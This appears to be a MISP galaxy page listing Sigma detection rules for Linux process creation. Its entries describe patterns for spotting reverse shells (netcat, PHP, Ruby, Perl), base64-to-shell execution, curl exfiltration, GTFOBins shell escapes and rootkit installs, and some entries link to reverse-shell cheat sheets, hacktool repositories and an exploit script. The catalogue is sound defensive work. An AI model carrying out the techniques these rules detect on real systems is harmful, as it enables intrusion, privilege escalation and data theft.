https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_disable_ufw.yml

ESXi VSAN Information Discovery Via ESXCLI

Detects execution of the "esxcli" command with the "vsan" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide.

The tag is: *misp-galaxy:sigma-rules="ESXi VSAN Information Discovery Via ESXCLI"*

View relationships graph

ESXi VSAN Information Discovery Via ESXCLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hypervisor CLI - T1059.012" with estimative-language:likelihood-probability="almost-certain"

Table 17370. Table References

Links
https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html
https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html
https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_vsan.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_vsan_discovery.yml

Linux HackTool Execution

Detects known hacktool execution based on image name.

The tag is: *misp-galaxy:sigma-rules="Linux HackTool Execution"*

View relationships graph

Linux HackTool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Develop Capabilities - T1587" with estimative-language:likelihood-probability="almost-certain"

Table 17371. Table References

Links
https://github.com/1N3/Sn1per
https://github.com/t3l3machus/hoaxshell
https://github.com/carlospolop/PEASS-ng
https://github.com/Ne0nd0g/merlin
https://github.com/pathtofile/bad-bpf
https://github.com/Gui774ume/ebpfkit
https://github.com/HavocFramework/Havoc
https://github.com/Pennyw0rth/NetExec/
https://github.com/t3l3machus/Villain
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_hktl_execution.yml

Security Software Discovery - Linux

Detects usage of system utilities (only grep and egrep for now) to discover security software discovery

The tag is: *misp-galaxy:sigma-rules="Security Software Discovery - Linux"*

View relationships graph

Security Software Discovery - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

Table 17372. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_software_discovery.yml

Shell Execution via Flock - Linux

Detects the use of the "flock" command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

The tag is: *misp-galaxy:sigma-rules="Shell Execution via Flock - Linux"*

View relationships graph

Shell Execution via Flock - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 17373. Table References

Links
https://gtfobins.github.io/gtfobins/flock/#shell
https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_flock_shell_execution.yml

Potential GobRAT File Discovery Via Grep

Detects the use of grep to discover specific files created by the GobRAT malware

The tag is: *misp-galaxy:sigma-rules="Potential GobRAT File Discovery Via Grep"*

View relationships graph

Potential GobRAT File Discovery Via Grep has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 17374. Table References

Links
https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection
https://blogs.jpcert.or.jp/en/2023/05/gobrat.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_malware_gobrat_grep_payload_discovery.yml

Potential PHP Reverse Shell

Detects usage of the PHP CLI with the "-r" flag which allows it to run inline PHP code. The rule looks for calls to the "fsockopen" function which allows the creation of sockets. Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.

The tag is: *misp-galaxy:sigma-rules="Potential PHP Reverse Shell"*

Table 17375. Table References

Links
https://www.revshells.com/
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_php_reverse_shell.yml

Linux Webshell Indicators

Detects suspicious sub processes of web server processes

The tag is: *misp-galaxy:sigma-rules="Linux Webshell Indicators"*

View relationships graph

Linux Webshell Indicators has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 17376. Table References

Links
https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF
https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_webshell_detection.yml

ESXi Network Configuration Discovery Via ESXCLI

Detects execution of the "esxcli" command with the "network" flag in order to retrieve information about the network configuration.

The tag is: *misp-galaxy:sigma-rules="ESXi Network Configuration Discovery Via ESXCLI"*

View relationships graph

ESXi Network Configuration Discovery Via ESXCLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hypervisor CLI - T1059.012" with estimative-language:likelihood-probability="almost-certain"

Table 17377. Table References

Links
https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_network.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_network_discovery.yml

Linux Doas Tool Execution

Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.

The tag is: *misp-galaxy:sigma-rules="Linux Doas Tool Execution"*

View relationships graph

Linux Doas Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

Table 17378. Table References

Links
https://research.splunk.com/endpoint/linux_doas_tool_execution/
https://www.makeuseof.com/how-to-install-and-use-doas/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_doas_execution.yml

Docker Container Discovery Via Dockerenv Listing

Detects listing or file reading of ".dockerenv" which can be a sing of potential container discovery

The tag is: *misp-galaxy:sigma-rules="Docker Container Discovery Via Dockerenv Listing"*

View relationships graph

Docker Container Discovery Via Dockerenv Listing has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 17379. Table References

Links
https://blog.skyplabs.net/posts/container-detection/
https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_dockerenv_recon.yml

Mask System Power Settings Via Systemctl

Detects the use of systemctl mask to disable system power management targets such as suspend, hibernate, or hybrid sleep. Adversaries may mask these targets to prevent a system from entering sleep or shutdown states, ensuring their malicious processes remain active and uninterrupted. This behavior can be associated with persistence or defense evasion, as it impairs normal system power operations to maintain long-term access or avoid termination of malicious activity.

The tag is: *misp-galaxy:sigma-rules="Mask System Power Settings Via Systemctl"*

View relationships graph

Mask System Power Settings Via Systemctl has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Power Settings - T1653" with estimative-language:likelihood-probability="almost-certain"

Table 17380. Table References

Links
https://linux-audit.com/systemd/faq/what-is-the-difference-between-systemctl-disable-and-systemctl-mask/
https://www.man7.org/linux/man-pages/man1/systemctl.1.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_systemctl_mask_power_settings.yml

Potential Ruby Reverse Shell

Detects execution of ruby with the "-e" flag and calls to "socket" related functions. This could be an indication of a potential attempt to setup a reverse shell

The tag is: *misp-galaxy:sigma-rules="Potential Ruby Reverse Shell"*

Table 17381. Table References

Links
https://www.revshells.com/
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_ruby_reverse_shell.yml

Linux Remote System Discovery

Detects the enumeration of other remote systems.

The tag is: *misp-galaxy:sigma-rules="Linux Remote System Discovery"*

View relationships graph

Linux Remote System Discovery has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 17382. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remote_system_discovery.yml

Shell Execution GCC - Linux

Detects the use of the "gcc" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

The tag is: *misp-galaxy:sigma-rules="Shell Execution GCC - Linux"*

View relationships graph

Shell Execution GCC - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 17383. Table References

Links
https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
https://gtfobins.github.io/gtfobins/c99/#shell
https://gtfobins.github.io/gtfobins/gcc/#shell
https://gtfobins.github.io/gtfobins/c89/#shell
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_gcc_shell_execution.yml

Container Residence Discovery Via Proc Virtual FS

Detects potential container discovery via listing of certain kernel features in the "/proc" virtual filesystem

The tag is: *misp-galaxy:sigma-rules="Container Residence Discovery Via Proc Virtual FS"*

View relationships graph

Container Residence Discovery Via Proc Virtual FS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 17384. Table References

Links

https://blog.skyplabs.net/posts/container-detection/
https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_container_residence_discovery.yml

Install Root Certificate

Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s

The tag is: *misp-galaxy:sigma-rules="Install Root Certificate"*

View relationships graph

Install Root Certificate has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"

Table 17385. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_root_certificate.yml

Vim GTFOBin Abuse - Linux

Detects the use of "vim" and it's siblings commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

The tag is: *misp-galaxy:sigma-rules="Vim GTFOBin Abuse - Linux"*

View relationships graph

Vim GTFOBin Abuse - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 17386. Table References

Links
https://gtfobins.github.io/gtfobins/rvim/

https://gtfobins.github.io/gtfobins/vimdiff/
https://gtfobins.github.io/gtfobins/vim/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_vim_shell_execution.yml

Suspicious Curl File Upload - Linux

Detects a suspicious curl process start the adds a file to a web request

The tag is: *misp-galaxy:sigma-rules="Suspicious Curl File Upload - Linux"*

View relationships graph

Suspicious Curl File Upload - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 17387. Table References

Links
https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76
https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file
https://twitter.com/d1r4c/status/1279042657508081664
https://curl.se/docs/manpage.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_fileupload.yml

File Deletion

Detects file deletion using "rm", "shred" or "unlink" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity

The tag is: *misp-galaxy:sigma-rules="File Deletion"*

View relationships graph

File Deletion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-

language:likelihood-probability="almost-certain"

Table 17388. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_deletion.yml

Local Groups Discovery - Linux

Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings

The tag is: *misp-galaxy:sigma-rules="Local Groups Discovery - Linux"*

View relationships graph

Local Groups Discovery - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

Table 17389. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_groups.yml

Potential Perl Reverse Shell Execution

Detects execution of the perl binary with the "-e" flag and common strings related to potential reverse shell activity

The tag is: *misp-galaxy:sigma-rules="Potential Perl Reverse Shell Execution"*

Table 17390. Table References

Links
https://www.revshells.com/
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_perl_reverse_shell.yml

Nohup Execution

Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments

The tag is: *misp-galaxy:sigma-rules="Nohup Execution"*

View relationships graph

Nohup Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

Table 17391. Table References

Links
https://en.wikipedia.org/wiki/Nohup
https://gtfobins.github.io/gtfobins/nohup/
https://www.computerhope.com/unix/unohup.htm
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup.yml

ESXi Account Creation Via ESXCLI

Detects user account creation on ESXi system via esxcli

The tag is: *misp-galaxy:sigma-rules="ESXi Account Creation Via ESXCLI"*

View relationships graph

ESXi Account Creation Via ESXCLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hypervisor CLI - T1059.012" with estimative-language:likelihood-probability="almost-certain"

Table 17392. Table References

Links
https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_system.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_user_account_creation.yml

Triple Cross eBPF Rootkit Install Commands

Detects default install commands of the Triple Cross eBPF rootkit based on the "deployer.sh" script

The tag is: *misp-galaxy:sigma-rules="Triple Cross eBPF Rootkit Install Commands"*

View relationships graph

Triple Cross eBPF Rootkit Install Commands has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"

Table 17393. Table References

Links
https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_install.yml

OMIGOD SCX RunAsProvider ExecuteScript

Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.

The tag is: *misp-galaxy:sigma-rules="OMIGOD SCX RunAsProvider ExecuteScript"*

View relationships graph

OMIGOD SCX RunAsProvider ExecuteScript has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

Table 17394. Table References

Links
https://github.com/Azure/Azure-Sentinel/pull/3059
https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executescript.yml

ESXi Storage Information Discovery Via ESXCLI

Detects execution of the "esxcli" command with the "storage" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit.

The tag is: *misp-galaxy:sigma-rules="ESXi Storage Information Discovery Via ESXCLI"*

View relationships graph

ESXi Storage Information Discovery Via ESXCLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hypervisor CLI - T1059.012" with estimative-language:likelihood-probability="almost-certain"

Table 17395. Table References

Links
https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html
https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_storage.html
https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_storage_discovery.yml

Shell Invocation via Env Command - Linux

Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.

The tag is: *misp-galaxy:sigma-rules="Shell Invocation via Env Command - Linux"*

View relationships graph

Shell Invocation via Env Command - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 17396. Table References

Links
https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
https://gtfobins.github.io/gtfobins/env/#shell
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_env_shell_invocation.yml

Linux Setuid Capability Set on a Binary via Setcap Utility

Detects the use of the 'setcap' utility to set the 'setuid' capability (cap_setuid) on a binary file. This capability allows a non privileged process to make arbitrary manipulations of user IDs (UIDs), including setting its current UID to a value that would otherwise be restricted (i.e. UID 0, the root user). This behavior can be used by adversaries to backdoor a binary in order to escalate privileges again in the future if needed.

The tag is: *misp-galaxy:sigma-rules="Linux Setuid Capability Set on a Binary via Setcap Utility"*

View relationships graph

Linux Setuid Capability Set on a Binary via Setcap Utility has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Compromise Host Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"

Table 17397. Table References

Links
https://juggernaut-sec.com/capabilities/#cap_setuid
https://dfir.ch/posts/linux_capabilities/
https://man7.org/linux/man-pages/man8/setcap.8.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cap_setuid.yml

Potential Netcat Reverse Shell Execution

Detects execution of netcat with the "-e" flag followed by common shells. This could be a sign of a potential reverse shell setup.

The tag is: *misp-galaxy:sigma-rules="Potential Netcat Reverse Shell Execution"*

View relationships graph

Potential Netcat Reverse Shell Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 17398. Table References

Links
https://www.revshells.com/
https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/
https://www.infosecademy.com/netcat-reverse-shells/
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://man7.org/linux/man-pages/man1/ncat.1.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_netcat_reverse_shell.yml

Connection Proxy

Detects setting proxy configuration

The tag is: *misp-galaxy:sigma-rules="Connection Proxy"*

View relationships graph

Connection Proxy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 17399. Table References

Links
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_proxy_connection.yml

Python Spawning Pretty TTY Via PTY Module

Detects a python process calling to the PTY module in order to spawn a pretty tty which could be indicative of potential reverse shell activity.

The tag is: *misp-galaxy:sigma-rules="Python Spawning Pretty TTY Via PTY Module"*

View relationships graph

Python Spawning Pretty TTY Via PTY Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 17400. Table References

Links
https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_pty_spawn.yml

Suspicious Git Clone - Linux

Detects execution of "git" in order to clone a remote repository that contain suspicious keywords which might be suspicious

The tag is: *misp-galaxy:sigma-rules="Suspicious Git Clone - Linux"*

View relationships graph

Suspicious Git Clone - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Code Repositories - T1593.003" with estimative-language:likelihood-probability="almost-certain"

Table 17401. Table References

Links
https://gist.githubusercontent.com/MichaelKoczwara/12faba9c061c12b5814b711166de8c2f/raw/e2068486692897b620c25fde1ea258c8218fe3d3/history.txt
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_git_clone.yml

Linux Base64 Encoded Pipe to Shell

Detects suspicious process command line that uses base64 encoded input for execution with a shell

The tag is: *misp-galaxy:sigma-rules="Linux Base64 Encoded Pipe to Shell"*

View relationships graph

Linux Base64 Encoded Pipe to Shell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 17402. Table References

Links
https://github.com/arget13/DDexec
https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally

https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_execution.yml

Clipboard Collection with Xclip Tool

Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

The tag is: *misp-galaxy:sigma-rules="Clipboard Collection with Xclip Tool"*

View relationships graph

Clipboard Collection with Xclip Tool has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

Table 17403. Table References

Links
https://www.packetlabs.net/posts/clipboard-data-security/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clipboard_collection.yml

DD File Overwrite

Detects potential overwriting and deletion of a file using DD.

The tag is: *misp-galaxy:sigma-rules="DD File Overwrite"*

View relationships graph

DD File Overwrite has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 17404. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-2---macoslinux---overwrite-file-with-dd
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_dd_file_overwrite.yml

Linux Sudo Chroot Execution

Detects the execution of 'sudo' command with '--chroot' option, which is used to change the root directory for command execution. Attackers may use this technique to evade detection and execute commands in a modified environment. This can be part of a privilege escalation strategy, as it allows the execution of commands with elevated privileges in a controlled environment as seen in CVE-2025-32463. While investigating, look out for unusual or unexpected use of 'sudo --chroot' in conjunction with other commands or scripts such as execution from temporary directories or unusual user accounts.

The tag is: *misp-galaxy:sigma-rules="Linux Sudo Chroot Execution"*

View relationships graph

Linux Sudo Chroot Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 17405. Table References

Links
https://github.com/kh4sh3i/CVE-2025-32463/blob/81bb430f84fa2089224733c3ed4bfa434c197ad4/exploit.sh
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_chroot_execution.yml

Execution Of Script Located In Potentially Suspicious Directory

Detects executions of scripts located in potentially suspicious locations such as "/tmp" via a shell such as "bash", "sh", etc.

The tag is: *misp-galaxy:sigma-rules="Execution Of Script Located In Potentially Suspicious Directory"*

Table 17406. Table References

Links
https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/
https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection
https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
https://blogs.jpcert.or.jp/en/2023/05/gobrat.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_shell_script_exec_from_susp_location.yml

Suspicious Java Children Processes

Detects java process spawning suspicious children

The tag is: *misp-galaxy:sigma-rules="Suspicious Java Children Processes"*

View relationships graph

Suspicious Java Children Processes has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 17407. Table References

Links
https://www.tecmint.com/different-types-of-linux-shells/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_java_children.yml

Enable BPF Kprobes Tracing

Detects common command used to enable bpf kprobes tracing

The tag is: *misp-galaxy:sigma-rules="Enable BPF Kprobes Tracing"*

Table 17408. Table References

Links
https://www.kernel.org/doc/html/v5.0/trace/kprobetrace.html
https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/
https://bpftrace.org/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpf_kprob_tracing_enabled.yml

Potential Discovery Activity Using Find - Linux

Detects usage of "find" binary in a suspicious manner to perform discovery

The tag is: *misp-galaxy:sigma-rules="Potential Discovery Activity Using Find - Linux"*

View relationships graph

Potential Discovery Activity Using Find - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 17409. Table References

Links
https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_find_execution.yml

Shell Invocation via Apt - Linux

Detects the use of the "apt" and "apt-get" commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

The tag is: *misp-galaxy:sigma-rules="Shell Invocation via Apt - Linux"*

View relationships graph

Shell Invocation via Apt - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 17410. Table References

Links
https://gtfobins.github.io/gtfobins/apt/
https://gtfobins.github.io/gtfobins/apt-get/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_apt_shell_execution.yml

Potentially Suspicious Execution From Tmp Folder

Detects a potentially suspicious execution of a process located in the '/tmp/' folder

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Execution From Tmp Folder"*

View relationships graph

Potentially Suspicious Execution From Tmp Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 17411. Table References

Links
https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/

https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection
https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
https://blogs.jpcert.or.jp/en/2023/05/gobrat.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_execution_tmp_folder.yml

